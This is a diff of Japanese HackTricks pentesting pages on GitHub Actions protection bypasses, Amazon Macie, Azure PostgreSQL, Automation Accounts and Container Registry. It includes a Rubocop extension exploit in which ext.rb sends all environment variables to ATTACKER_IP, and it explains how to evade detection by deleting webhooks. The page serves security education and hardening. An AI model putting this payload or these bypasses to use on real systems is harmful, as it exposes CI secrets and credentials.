-環境に**すべてのブランチからアクセスできる場合**、それは**保護されていない**ため、環境内のシークレットに簡単にアクセスできます。**すべてのブランチが保護されている**リポジトリ(名前を指定するか、`*`を使用することによって)を見つけることがあることに注意してください。その場合、**コードをプッシュできるブランチを見つけ**、新しいGithub Actionを作成することでシークレットを**抽出**できます(または1つを変更することができます)。 +PR内のエクスプロイトファイル: -すべてのブランチが保護されている(ワイルドカード`*`を介して)場合、**誰がブランチにコードをプッシュできるかが指定されている**エッジケースがあることに注意してください(これはブランチ保護で指定できます)し、**あなたのユーザーは許可されていません**。それでもカスタムGithub Actionを実行できます。なぜなら、ブランチを作成し、その上でプッシュトリガーを使用できるからです。**ブランチ保護は新しいブランチへのプッシュを許可するため、Github Actionがトリガーされます**。 +.rubocop.yml +```yaml +require: +- ./ext.rb +``` +ext.rb (環境変数を外部に抽出するランナー): +```ruby +require 'net/http' +require 'uri' +require 'json' + +env_vars = ENV.to_h +json_data = env_vars.to_json +url = URI.parse('http://ATTACKER_IP/') + +begin +http = Net::HTTP.new(url.host, url.port) +req = Net::HTTP::Post.new(url.path) +req['Content-Type'] = 'application/json' +req.body = json_data +http.request(req) +rescue StandardError => e +warn e.message +end +``` +十分に大きなダミーRubyファイル(例:main.rb)を含めて、リンターが実際に実行されるようにしてください。 + +実際に観察された影響: +- リンターを実行したプロダクションランナーでの完全なコード実行 +- サービスによって使用されるGitHub Appの秘密鍵、APIキー、DB資格情報などの機密環境変数の流出 +- 流出したGitHub Appの秘密鍵を使用して、インストールトークンを発行し、そのアプリに付与されたすべてのリポジトリへの読み書きアクセスを取得できます(GitHub Appのなりすましに関する上記のセクションを参照) + +外部ツールを実行するサービスの強化ガイドライン: +- リポジトリ提供のツール設定を信頼できないコードとして扱う +- 機密環境変数がマウントされていない厳密に隔離されたサンドボックスでツールを実行する +- 最小権限の資格情報とファイルシステムの隔離を適用し、インターネットアクセスを必要としないツールのために外向きのネットワークエグレスを制限/拒否する + +## ブランチ保護のバイパス + +- **承認の数を要求する**:複数のアカウントを侵害した場合、他のアカウントからPRを受け入れることができます。PRを作成したアカウントしか持っていない場合、自分のPRを承認することはできません。しかし、リポジトリ内の**Github Action**環境にアクセスできる場合、**GITHUB_TOKEN**を使用して**PRを承認する**ことができ、1つの承認を得ることができるかもしれません。 +- _この点とCode Owners制限についての注意:通常、ユーザーは自分のPRを承認できませんが、もしできる場合は、それを悪用して自分のPRを受け入れることができます。_ +- **新しいコミットがプッシュされたときに承認を取り消す**:これが設定されていない場合、正当なコードを提出し、誰かが承認するのを待ってから悪意のあるコードを追加し、保護されたブランチにマージすることができます。 +- **Code Ownersからのレビューを要求する**:これが有効になっていて、あなたがCode Ownerであれば、**Github ActionがあなたのPRを作成し、あなた自身で承認する**ことができます。 +- **CODEOWNERファイルが誤設定されている場合**、Githubは文句を言いませんが、それを使用しません。したがって、誤設定されている場合は、**Code Ownersの保護が適用されません。** +- **指定されたアクターがプルリクエストの要件をバイパスできるようにする**:これらのアクターの1人であれば、プルリクエストの保護をバイパスできます。 +- **管理者を含める**:これが設定されていない場合、リポジトリの管理者であれば、このブランチの保護をバイパスできます。 +- **PRハイジャック**:他の誰かのPRを**変更して悪意のあるコードを追加し、結果として得られたPRを自分で承認してすべてをマージ**できるかもしれません。 +- **ブランチ保護の削除**:リポジトリの**管理者であれば、保護を無効にし、PRをマージして保護を元に戻す**ことができます。 +- **プッシュ保護のバイパス**:リポジトリが**特定のユーザーのみ**がブランチにプッシュ(コードをマージ)できるようにしている場合(ブランチ保護がすべてのブランチを保護している可能性がありますが、ワイルドカード`*`を指定しています)。 +- **リポジトリに対する書き込みアクセスがあるが、ブランチ保護のためにコードをプッシュできない場合**、新しいブランチを**作成し、その中でコードがプッシュされたときにトリガーされる**Github Actionを作成できます。**ブランチ保護はブランチが作成されるまで保護を適用しないため**、この最初のコードプッシュは**Github Actionを実行します**。 + +## 環境保護のバイパス + +[**Github環境についての基本情報を確認する**](basic-github-information.md#git-environments)。 + +環境に**すべてのブランチからアクセスできる場合**、それは**保護されていない**ため、環境内の秘密に簡単にアクセスできます。すべてのブランチが**保護されている**リポジトリ(名前を指定するか、`*`を使用することによって)を見つけることがあることに注意してください。その場合、**コードをプッシュできるブランチを見つけ**、新しいGithub Actionを作成することで秘密を**流出させる**ことができます(または1つを修正することができます)。 + +すべてのブランチが**保護されている**(ワイルドカード`*`を介して)場合、**ブランチにコードをプッシュできるのは誰かが指定されている**ことに注意してください(これはブランチ保護で指定できます)し、**あなたのユーザーは許可されていません**。それでもカスタムGithub Actionを実行できます。なぜなら、ブランチを作成し、その上でプッシュトリガーを使用できるからです。**ブランチ保護は新しいブランチへのプッシュを許可するため、Github Actionがトリガーされます**。 ```yaml push: # Run it when a push is made to a branch branches: - current_branch_name #Use '**' to run when a push is made to any branch ``` -注意してください。**ブランチの作成後**、**ブランチ保護が新しいブランチに適用され**、変更することはできませんが、その時点で既に秘密をダンプしているでしょう。 +注意してください。**ブランチの作成後**、**ブランチ保護が新しいブランチに適用され**、それを変更することはできませんが、その時点で既に秘密をダンプしているでしょう。 ## 永続性 @@ -214,9 +358,9 @@ branches: - **バックドア**を持つ**Github Action**を作成/変更 - **シークレット**値の変更を通じて**コマンドインジェクション**に脆弱な**Github Action**を見つける -### 偽のコミット - リポジトリコミットを介したバックドア +### 偽のコミット - リポジトリのコミットを介したバックドア -Githubでは、**フォークからリポジトリにPRを作成**することが可能です。PRが**受け入れられなくても**、元のリポジトリ内にフォーク版のコードの**コミット**IDが作成されます。したがって、攻撃者は**リポジトリの所有者によって作成されていない、見た目上正当なリポジトリから特定のコミットを使用するようにピン留めすることができます**。 +Githubでは、**フォークからリポジトリにPRを作成する**ことが可能です。PRが**受け入れられなくても**、元のリポジトリ内にフォーク版のコードの**コミット**IDが作成されます。したがって、攻撃者は**リポジトリの所有者によって作成されていない、見た目上正当なリポジトリから特定のコミットを使用するようにピン留めすることができます**。 [**これ**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e)のように: ```yaml @@ -233,4 +377,12 @@ echo 'hello world!' ``` 詳細については、[https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)を確認してください。 +## 参考文献 + +- [CodeRabbitをどのように悪用したか:シンプルなPRからRCEおよび100万のリポジトリへの書き込みアクセスまで](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/) +- [Rubocop拡張機能(require)](https://docs.rubocop.org/rubocop/latest/extensions.html) +- [GitHubアプリでの認証(JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app) +- [認証されたアプリのインストールをリストする](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app) +- [アプリのインストールアクセストークンを作成する](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app) + {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md index 89c1c8a3a..cffda8355 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-macie-enum.md @@ -1,48 +1,142 @@ # Amazon Macie -## Introduction +{{#include ../../../banners/hacktricks-training.md}} -Amazon Macieは、機械学習とパターンマッチングを使用して機密データを発見し、データセキュリティリスクの可視化を提供し、これらのリスクに対する自動保護を可能にするデータセキュリティサービスです。 +## Macie -## Listing Findings with AWS Console +Amazon Macieは、AWSアカウント内のデータを**自動的に検出、分類、特定する**ために設計されたサービスです。**機械学習**を活用してデータを継続的に監視・分析し、主に**cloud trail event**データやユーザー行動パターンを調査することで、異常または疑わしい活動を検出し、警告を発します。 -特定のS3バケットを秘密情報や機密データのスキャンした後、発見された内容が生成され、コンソールに表示されます。十分な権限を持つ認可されたユーザーは、各ジョブのこれらの発見を表示およびリストすることができます。 +Amazon Macieの主な機能: + +1. **アクティブデータレビュー**:AWSアカウント内でさまざまなアクションが発生する際に、機械学習を用いてデータを積極的にレビューします。 +2. **異常検出**:不規則な活動やアクセスパターンを特定し、潜在的なデータ露出リスクを軽減するための警告を生成します。 +3. **継続的監視**:Amazon S3内の新しいデータを自動的に監視・検出し、機械学習と人工知能を用いて時間の経過とともにデータアクセスパターンに適応します。 +4. **NLPによるデータ分類**:自然言語処理(NLP)を利用して異なるデータタイプを分類・解釈し、リスクスコアを割り当てて発見の優先順位を付けます。 +5. **セキュリティ監視**:APIキー、シークレットキー、個人情報などのセキュリティに敏感なデータを特定し、データ漏洩を防ぐ手助けをします。 + +Amazon Macieは**地域サービス**であり、機能には'AWSMacieServiceCustomerSetupRole' IAMロールと有効なAWS CloudTrailが必要です。 + +### アラートシステム + +Macieは、以下のような事前定義されたカテゴリにアラートを分類します: + +- 匿名化されたアクセス +- データコンプライアンス +- 認証情報の喪失 +- 権限の昇格 +- ランサムウェア +- 疑わしいアクセスなど + +これらのアラートは、効果的な対応と解決のための詳細な説明と結果の内訳を提供します。 + +### ダッシュボード機能 + +ダッシュボードは、データをさまざまなセクションに分類します: + +- S3オブジェクト(時間範囲、ACL、PIIによる) +- 高リスクのCloudTrailイベント/ユーザー +- アクティビティの場所 +- CloudTrailユーザーIDタイプなど。 + +### ユーザー分類 + +ユーザーは、API呼び出しのリスクレベルに基づいて階層に分類されます: + +- **プラチナ**:高リスクのAPI呼び出し、しばしば管理者権限を持つ。 +- **ゴールド**:インフラ関連のAPI呼び出し。 +- **シルバー**:中リスクのAPI呼び出し。 +- **ブロンズ**:低リスクのAPI呼び出し。 + +### IDタイプ + +IDタイプには、Root、IAMユーザー、仮想ロール、フェデレーテッドユーザー、AWSアカウント、AWSサービスが含まれ、リクエストのソースを示します。 + +### データ分類 + +データ分類には以下が含まれます: + +- コンテンツタイプ:検出されたコンテンツタイプに基づく。 +- ファイル拡張子:ファイル拡張子に基づく。 +- テーマ:ファイル内のキーワードによって分類。 +- 正規表現:特定の正規表現パターンに基づいて分類。 + +これらのカテゴリの中で最も高いリスクがファイルの最終リスクレベルを決定します。 + +### 研究と分析 + +Amazon Macieの研究機能は、すべてのMacieデータに対してカスタムクエリを実行し、詳細な分析を可能にします。フィルターにはCloudTrailデータ、S3バケットプロパティ、S3オブジェクトが含まれます。さらに、他のアカウントを招待してAmazon Macieを共有することをサポートし、共同データ管理とセキュリティ監視を促進します。 + +## AWSコンソールでの発見のリスト表示 + +特定のS3バケットをスキャンして秘密や機密データを探した後、発見が生成され、コンソールに表示されます。十分な権限を持つ認可されたユーザーは、各ジョブのこれらの発見を表示およびリスト化できます。 Screenshot 2025-02-10 at 19 08 08 -## Revealing Secret +## 秘密の明示 -Amazon Macieは、検出された秘密を平文形式で表示する機能を提供します。この機能は、侵害されたデータの特定に役立ちます。ただし、平文で秘密を表示することは、セキュリティ上の懸念から一般的にはベストプラクティスとは見なされません。なぜなら、機密情報が露出する可能性があるからです。 +Amazon Macieは、検出された秘密を平文形式で表示する機能を提供します。この機能は、侵害されたデータの特定に役立ちます。ただし、秘密を平文で表示することは、セキュリティ上の懸念から一般的にはベストプラクティスとは見なされません。なぜなら、機密情報が露出する可能性があるからです。 Screenshot 2025-02-10 at 19 13 53 Screenshot 2025-02-10 at 19 15 11 -## Enumeration +### 列挙 ```bash -# List and describe classification jobs -aws macie2 list-classification-jobs --region eu-west-1 -aws macie2 describe-classification-job --job-id --region eu-west-1 +# Get buckets +aws macie2 describe-buckets + +# Org config +aws macie2 describe-organization-configuration + +# Get admin account (if any) +aws macie2 get-administrator-account +aws macie2 list-organization-admin-accounts # Run from the management account of the org + +# Get macie account members (run this from the admin account) +aws macie2 list-members + +# Check if automated sensitive data discovey is enabled +aws macie2 get-automated-discovery-configuration + +# Get findings +aws macie2 list-findings +aws macie2 get-findings --finding-ids +aws macie2 list-findings-filters +aws macie2 get -findings-filters --id + +# Get allow lists +aws macie2 list-allow-lists +aws macie2 get-allow-list --id + +# Get different info +aws macie2 list-classification-jobs +aws macie2 describe-classification-job --job-id +aws macie2 list-classification-scopes +aws macie2 list-custom-data-identifiers +aws macie2 get-custom-data-identifier --id # Retrieve account details and statistics -aws macie2 get-macie-session --region eu-west-1 -aws macie2 get-usage-statistics --region eu-west-1 - -# List and manage Macie members (for organizations) -aws macie2 list-members --region eu-west-1 - -# List findings and get detailed information about specific findings -aws macie2 list-findings --region eu-west-1 -aws macie2 get-findings --finding-id --region eu-west-1 - -# Manage custom data identifiers -aws macie2 list-custom-data-identifiers --region eu-west-1 -aws macie2 get-custom-data-identifier --id --region eu-west-1 - -# List and detail findings filters -aws macie2 list-findings-filters --region eu-west-1 -aws macie2 get-findings-filter --id --region eu-west-1 - +aws macie2 get-macie-session +aws macie2 get-usage-statistic ``` +### Privesc +{{#ref}} +../aws-privilege-escalation/aws-macie-privesc.md +{{#endref}} + +### Post Exploitation + +> [!TIP] +> 攻撃者の視点から見ると、このサービスは攻撃者を検出するためではなく、保存されたファイル内の機密情報を検出するために作られています。したがって、このサービスは**攻撃者がバケット内の機密情報を見つけるのを助けるかもしれません**。\ +> しかし、攻撃者は被害者がアラートを受け取るのを防ぎ、その情報をより簡単に盗むために、これを妨害することにも興味があるかもしれません。 + +TODO: PRs are welcome! + +## References + +- [https://cloudacademy.com/blog/introducing-aws-security-hub/](https://cloudacademy.com/blog/introducing-aws-security-hub/) + + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md index ac42da18c..d3c25610f 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md @@ -9,27 +9,28 @@ PostgreSQL データベースに関する詳細情報は以下を確認してく ../az-services/az-postgresql.md {{#endref}} +### pg_azure_storage 拡張機能を使用してストレージアカウントにアクセスする + +PostgreSQL サーバーから Azure ストレージアカウントにアクセスするために、拡張機能 **`pg_azure_storage`** を使用することが可能です。これは、サーバーに割り当てられたマネージドアイデンティティの権限を使用してストレージアカウントにアクセスします。 + +この技術については、特権昇格セクションで説明されている内容を確認してください: + +{{#ref}} +../az-privilege-escalation/az-postgresql-privesc.md +{{#endref}} + ### `Microsoft.DBforPostgreSQL/flexibleServers/databases/write` && `Microsoft.DBforPostgreSQL/flexibleServers/databases/read` -この権限を持つことで、Azure の Postgres Flexible Server インスタンス内に新しいデータベースを作成できます。このアクション自体は既存のリソースを変更しませんが、過剰または不正なデータベースの作成は、リソースの消費やサーバーの潜在的な悪用につながる可能性があります。 +この権限を使用すると、Azure の Postgres フレキシブルサーバーインスタンス内に新しいデータベースを作成できます。このアクション自体は既存のリソースを変更しませんが、過剰または不正なデータベースの作成はリソースの消費やサーバーの潜在的な悪用につながる可能性があります。 ```bash az postgres flexible-server db create \ --server-name \ --resource-group \ --database-name ``` -### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write` - -この権限を持つことで、Azure上のPostgres Flexible Serverインスタンスのバックアップ作成を開始できます。これにより、ユーザーは特定の時点でのデータを保持するために、オンデマンドバックアップを生成することができます。 -```bash -az postgres flexible-server backup create \ ---name \ ---resource-group ---backup-name -``` ### `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/write` && `Microsoft.DBforPostgreSQL/flexibleServers/advancedThreatProtectionSettings/read` -この権限を使用すると、Azure上のPostgres Flexible ServerインスタンスのAdvanced Threat Protection (ATP)設定を構成または更新できます。これにより、異常な活動や潜在的な脅威を検出し対応するために設計されたセキュリティ機能を有効または無効にすることができます。 +この権限を使用すると、Azure上のPostgres Flexible ServerインスタンスのAdvanced Threat Protection (ATP)設定を構成または更新できます。これにより、異常な活動や潜在的な脅威を検出し、対応するために設計されたセキュリティ機能を有効または無効にすることができます。 ```bash az postgres flexible-server threat-protection-policy update \ --name \ diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md index eadfc828e..74a15890d 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md +++ b/src/pentesting-cloud/azure-security/az-services/az-automation-accounts.md @@ -4,12 +4,12 @@ ## 基本情報 -Azure Automation Accountsは、Microsoft Azureのクラウドベースのサービスで、リソース管理、構成、更新などのタスクを**自動化**するのに役立ちます。これにより、**Runbooks**(実行される自動化用のスクリプト)、**スケジュール**、および**ハイブリッドワーカーグループ**を提供し、自動化**ジョブ**を実行できるようにし、インフラストラクチャをコード(IaC)として扱い、クラウドリソースの管理における効率性と一貫性を向上させます。 +Azure Automation Accountsは、Microsoft Azureのクラウドベースのサービスで、リソース管理、構成、更新などのタスクを**自動化**するのに役立ちます。これにより、Azureおよびオンプレミス環境全体での効率と一貫性を向上させるためのインフラストラクチャをコード(IaC)として提供し、**Runbooks**(実行される自動化用のスクリプト)、**スケジュール**、および**ハイブリッドワーカーグループ**を提供します。 ### 設定 - **資格情報**: パスワードは自動化アカウント内のRunbook内でのみアクセス可能で、**ユーザー名とパスワードを安全に保存する**ために使用されます。 -- **変数**: Runbook内で使用できる**構成データ**を保存するために使用されます。これにはAPIキーのような機密情報も含まれる可能性があります。変数が**暗号化されて保存されている**場合、それは自動化アカウント内のRunbook内でのみ利用可能です。 +- **変数**: Runbook内で使用できる**構成データ**を保存するために使用されます。これにはAPIキーなどの機密情報も含まれる可能性があります。変数が**暗号化されて保存されている**場合、それは自動化アカウント内のRunbook内でのみ利用可能です。 - **証明書**: Runbook内で使用できる**証明書**を保存するために使用されます。 - **接続**: 外部サービスへの**接続情報**を保存するために使用されます。これには**機密情報**が含まれる可能性があります。 - **ネットワークアクセス**: **公開**または**プライベート**に設定できます。 @@ -20,11 +20,11 @@ Azure AutomationのRunbookは、クラウド環境内でタスクを**自動的 **Runbooks**内の**コード**には**機密情報**(資格情報など)が含まれる可能性があります。 -**ジョブはRunbook実行のインスタンス**です。Runbookを実行すると、実行を追跡するためにジョブが作成されます。各ジョブには以下が含まれます: +**ジョブはRunbook実行のインスタンス**です。Runbookを実行すると、実行を追跡するためのジョブが作成されます。各ジョブには以下が含まれます: - **ステータス**: キュー待ち、実行中、完了、失敗、保留。 - **出力**: Runbook実行の結果。 -- **開始時刻と終了時刻**: ジョブが開始された時刻と完了した時刻。 +- **開始および終了時間**: ジョブが開始および完了した時間。 ジョブには**Runbook**実行の**出力**が含まれます。**ジョブ**を**読み取る**ことができる場合は、実行の**出力**(潜在的な**機密情報**)が含まれているため、必ず行ってください。 @@ -34,15 +34,15 @@ Runbookを実行する主な方法は3つあります: - **スケジュール**: 特定の**時間**または**間隔**でRunbookを**トリガー**するために使用されます。 - **Webhooks**: 外部サービスからRunbookを**トリガー**するために使用できる**HTTPエンドポイント**です。作成後、Webhook URLは**表示されません**。 -- **手動トリガー**: AzureポータルやCLIからRunbookを**手動でトリガー**できます。 +- **手動トリガー**: AzureポータルおよびCLIからRunbookを**手動でトリガー**できます。 ### ソース管理 -**Github、Azure Devops (Git)、およびAzure Devops (TFVC)**からRunbooksをインポートすることができます。リポジトリのRunbooksをAzure Automationアカウントに公開するように指示することも、リポジトリからAzure Automationアカウントに**変更を同期**するように指示することも可能です。 +**Github、Azure Devops (Git)、およびAzure Devops (TFVC)**からRunbookをインポートすることができます。リポジトリのRunbookをAzure Automationアカウントに公開するように指示することも、リポジトリからAzure Automationアカウントに**変更を同期**するように指示することも可能です。 同期が有効になっている場合、**GithubリポジトリにWebhookが作成され**、プッシュイベントが発生するたびに同期がトリガーされます。Webhook URLの例: `https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=DRjQyFiOrUtz%2fw7o23XbDpOlTe1%2bUqPQm4pQH2WBfJg%3d` -これらのWebhookは、Githubリポジトリに関連付けられたRunbooksのWebhookをリストする際に**表示されません**。また、作成後にソース管理のリポジトリURLを**変更することはできません**。 +これらのWebhookは、Githubリポジトリに関連付けられたRunbookのWebhookをリストする際に**表示されません**。また、作成後にソース管理のリポジトリURLを**変更することはできません**。 構成されたソース管理が機能するためには、**Azure Automation Account**に**`Contributor`**ロールを持つマネージドアイデンティティ(システムまたはユーザー)が必要です。さらに、Automation Accountにユーザーマネージドアイデンティティを割り当てるには、変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**にユーザーMIのクライアントIDを指定する必要があります。 @@ -61,19 +61,19 @@ Runbookを作成する際に、ランタイム環境を選択できます。デ ### ハイブリッドワーカーグループ -Azure Automationでは、Runbookのデフォルトの実行環境は**Azure Sandbox**であり、Azureリソースに関するタスクに適したAzureが管理するクラウドベースのプラットフォームです。ただし、このサンドボックスには、オンプレミスリソースへのアクセス制限や実行時間とリソース使用の制約などの制限があります。これらの制限を克服するために、ハイブリッドワーカーグループが使用されます。ハイブリッドワーカーグループは、**自分のマシンにインストールされた1つ以上のハイブリッドRunbookワーカー**で構成され、オンプレミス、他のクラウド環境、またはAzure VM上で実行されます。このセットアップにより、Runbookはこれらのマシン上で直接実行され、ローカルリソースへの直接アクセス、より長くリソース集約的なタスクの実行、Azureの即時の範囲を超えた環境との相互作用の柔軟性が提供されます。 +Azure Automationでは、Runbookのデフォルトの実行環境は**Azure Sandbox**であり、Azureによって管理されるクラウドベースのプラットフォームで、Azureリソースに関わるタスクに適しています。ただし、このサンドボックスには、オンプレミスリソースへのアクセス制限や実行時間およびリソース使用の制約などの制限があります。これらの制限を克服するために、ハイブリッドワーカーグループが使用されます。ハイブリッドワーカーグループは、**自分のマシンにインストールされた1つ以上のハイブリッドRunbookワーカー**で構成され、オンプレミス、他のクラウド環境、またはAzure VM上で動作します。このセットアップにより、Runbookはこれらのマシン上で直接実行され、ローカルリソースへの直接アクセス、より長くリソース集約的なタスクの実行、Azureの即時の範囲を超えた環境との相互作用の柔軟性が提供されます。 ハイブリッドワーカーグループを作成する際には、使用する**資格情報**を指定する必要があります。2つのオプションがあります: - **デフォルトの資格情報**: 資格情報を提供する必要はなく、Runbookは**System**としてVM内で実行されます。 - **特定の資格情報**: 自動化アカウント内の資格情報オブジェクトの名前を提供する必要があり、これが**VM内でRunbookを実行するために使用されます**。したがって、この場合、VMの**有効な資格情報を盗む**ことが可能です。 -したがって、**ハイブリッドワーカー**で**Runbook**を実行することを選択できる場合、**System**として外部マシン内で**任意のコマンド**を実行します(良いピボット技術)。 +したがって、**ハイブリッドワーカー**で**Runbook**を実行することを選択できる場合、**System**として外部マシン内で**任意のコマンドを実行**することになります(良いピボット技術)。 -さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、Runbookは**RunbookのマネージドアイデンティティとVMのメタデータサービスからのすべてのマネージドアイデンティティ**にアクセスできます。 +さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、Runbookは**RunbookのマネージドアイデンティティとVMのすべてのマネージドアイデンティティにメタデータサービスからアクセスできる**ようになります。 > [!TIP] -> **メタデータサービス**のURLは、Automationアカウントのマネージドアイデンティティトークンを取得するサービスとは異なる(**`http://169.254.169.254`**)ことを忘れないでください。 +> **メタデータサービス**のURLは、Automationアカウントのマネージドアイデンティティトークンを取得するサービスとは異なるURL(**`http://169.254.169.254`**)であることを忘れないでください。 ### 状態構成 (SC) @@ -232,6 +232,12 @@ Get-AzAutomationHybridWorkerGroup -AutomationAccountName -R ../az-privilege-escalation/az-automation-accounts-privesc.md {{#endref}} +## 永続性 + +{{#ref}} +../az-persistence/az-automation-accounts-persistence.md +{{#endref}} + ## 参考文献 - [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview) diff --git a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md index 359f15115..f51837d2d 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-container-registry.md +++ b/src/pentesting-cloud/azure-security/az-services/az-container-registry.md @@ -4,7 +4,7 @@ ## 基本情報 -Azure Container Registry (ACR) は、**Azure クラウド内でコンテナイメージを保存、管理、アクセスするための安全でプライベートなレジストリ**です。いくつかの Azure サービスとシームレスに統合され、大規模な自動ビルドおよびデプロイワークフローを提供します。地理的レプリケーションや脆弱性スキャンなどの機能を備えた ACR は、コンテナ化されたアプリケーションのエンタープライズグレードのセキュリティとコンプライアンスを確保するのに役立ちます。 +Azure Container Registry (ACR) は、**Azure クラウド内でコンテナイメージを保存、管理、アクセスする**ための安全でプライベートなレジストリです。いくつかの Azure サービスとシームレスに統合され、大規模な自動ビルドおよびデプロイワークフローを提供します。地理的レプリケーションや脆弱性スキャンなどの機能を備えた ACR は、コンテナ化されたアプリケーションのエンタープライズグレードのセキュリティとコンプライアンスを確保するのに役立ちます。 ### 権限 @@ -27,12 +27,12 @@ Azure Container Registry (ACR) は、**Azure クラウド内でコンテナイ > [!WARNING] > レジストリ名に大文字が含まれていても、**小文字**を使用してログイン、プッシュ、プルすることが非常に重要です。 -ACR に認証する方法は 4 つあります: +ACR に認証する方法は 4 つあります: -- **Entra ID を使用**: これは ACR に認証するための**デフォルト**の方法です。**`az acr login`** コマンドを使用して ACR に認証します。このコマンドは、**`~/.docker/config.json`** ファイルに資格情報を**保存**します。さらに、**クラウドシェル**のように Docker ソケットにアクセスできない環境からこのコマンドを実行している場合、**`--expose-token`** フラグを使用して ACR に認証するための**トークン**を取得できます。次に、ユーザー名として `00000000-0000-0000-0000-000000000000` を使用して認証する必要があります。例: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` -- **管理者アカウントを使用**: 管理者ユーザーはデフォルトで無効になっていますが、有効にすることができ、その後、管理者アカウントの**ユーザー名**と**パスワード**を使用してレジストリにアクセスできます。この方法は、いくつかの Azure サービスが使用しているため、まだサポートされています。このユーザーには**2 つのパスワード**が作成され、どちらも有効です。`az acr update -n --admin-enabled true` で有効にできます。ユーザー名は通常、レジストリ名です(`admin` ではありません)。 -- **トークンを使用**: レジストリにアクセスするための**特定の `scope map`**(権限)を持つ**トークン**を作成することができます。その後、このトークン名をユーザー名として使用し、生成されたパスワードのいずれかを使用してレジストリに認証できます。例: `docker login -u -p aregistry-url` -- **サービスプリンシパルを使用**: **サービスプリンシパル**を作成し、イメージをプルするために **`AcrPull`** のようなロールを割り当てることができます。その後、SP appId をユーザー名として、生成されたシークレットをパスワードとして使用して**レジストリにログイン**できます。 +- **Entra ID を使用**: これは ACR に認証するための**デフォルト**の方法です。**`az acr login`** コマンドを使用して ACR に認証します。このコマンドは、**`~/.docker/config.json`** ファイルに資格情報を**保存**します。さらに、**クラウドシェル**のように Docker ソケットにアクセスできない環境でこのコマンドを実行している場合、**`--expose-token`** フラグを使用して ACR に認証するための**トークン**を取得できます。次に、認証するにはユーザー名として `00000000-0000-0000-0000-000000000000` を使用します。例: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN` +- **管理者アカウントを使用**: 管理者ユーザーはデフォルトで無効になっていますが、有効にすることができ、その後、管理者アカウントの**ユーザー名**と**パスワード**を使用してレジストリにアクセスすることが可能になります。これは、いくつかの Azure サービスがこれを使用しているため、まだサポートされています。このユーザーには**2 つのパスワード**が作成され、どちらも有効です。`az acr update -n --admin-enabled true` で有効にできます。ユーザー名は通常、レジストリ名(`admin` ではなく)です。 +- **トークンを使用**: レジストリにアクセスするための**特定の `scope map`**(権限)を持つ**トークン**を作成することが可能です。その後、トークンの名前をユーザー名として使用し、生成されたパスワードのいずれかを使用して、`docker login -u -p ` でレジストリに認証できます。 +- **サービスプリンシパルを使用**: **サービスプリンシパル**を作成し、イメージをプルするために **`AcrPull`** のようなロールを割り当てることが可能です。その後、SP appId をユーザー名として、生成されたシークレットをパスワードとして使用して、**レジストリにログイン**できます。 レジストリへのアクセスを持つ SP を生成するための [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) からの例のスクリプト: ```bash @@ -51,7 +51,7 @@ echo "Service principal password: $PASSWORD" ``` ### 暗号化 -**Premium SKU** のみが、画像やその他のアーティファクトの **静止状態での暗号化** をサポートしています。 +**Premium SKU** のみが、画像やその他のアーティファクトの **静止時の暗号化** をサポートしています。 ### ネットワーキング @@ -67,9 +67,9 @@ echo "Service principal password: $PASSWORD" ### ウェブフック -レジストリ内で **ウェブフックを作成** することが可能です。このウェブフックでは、**プッシュまたは削除アクションが実行されるたびにリクエストが送信されるURL** を指定する必要があります。さらに、ウェブフックは影響を受けるリポジトリ(画像)を示すスコープを指定できます。例えば、'foo:\*' はリポジトリ 'foo' の下のイベントを意味します。 +レジストリ内に **ウェブフックを作成** することが可能です。このウェブフックでは、**プッシュまたは削除アクションが実行されるたびにリクエストが送信されるURL** を指定する必要があります。さらに、ウェブフックは影響を受けるリポジトリ(画像)を示すスコープを指定できます。例えば、'foo:\*' はリポジトリ 'foo' の下のイベントを意味します。 -攻撃者の視点からは、レジストリで **アクションを実行する前にこれを確認** し、必要に応じて一時的に削除して検出を避けることが興味深いです。 +攻撃者の視点からは、レジストリ内で **アクションを実行する前にこれを確認** し、必要に応じて一時的に削除して検出を避けることが興味深いです。 ### 接続されたレジストリ @@ -94,15 +94,15 @@ az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world ``` しかし、それは攻撃者の視点からはあまり興味深くない実行をトリガーします。なぜなら、それらには管理されたアイデンティティが付いていないからです。 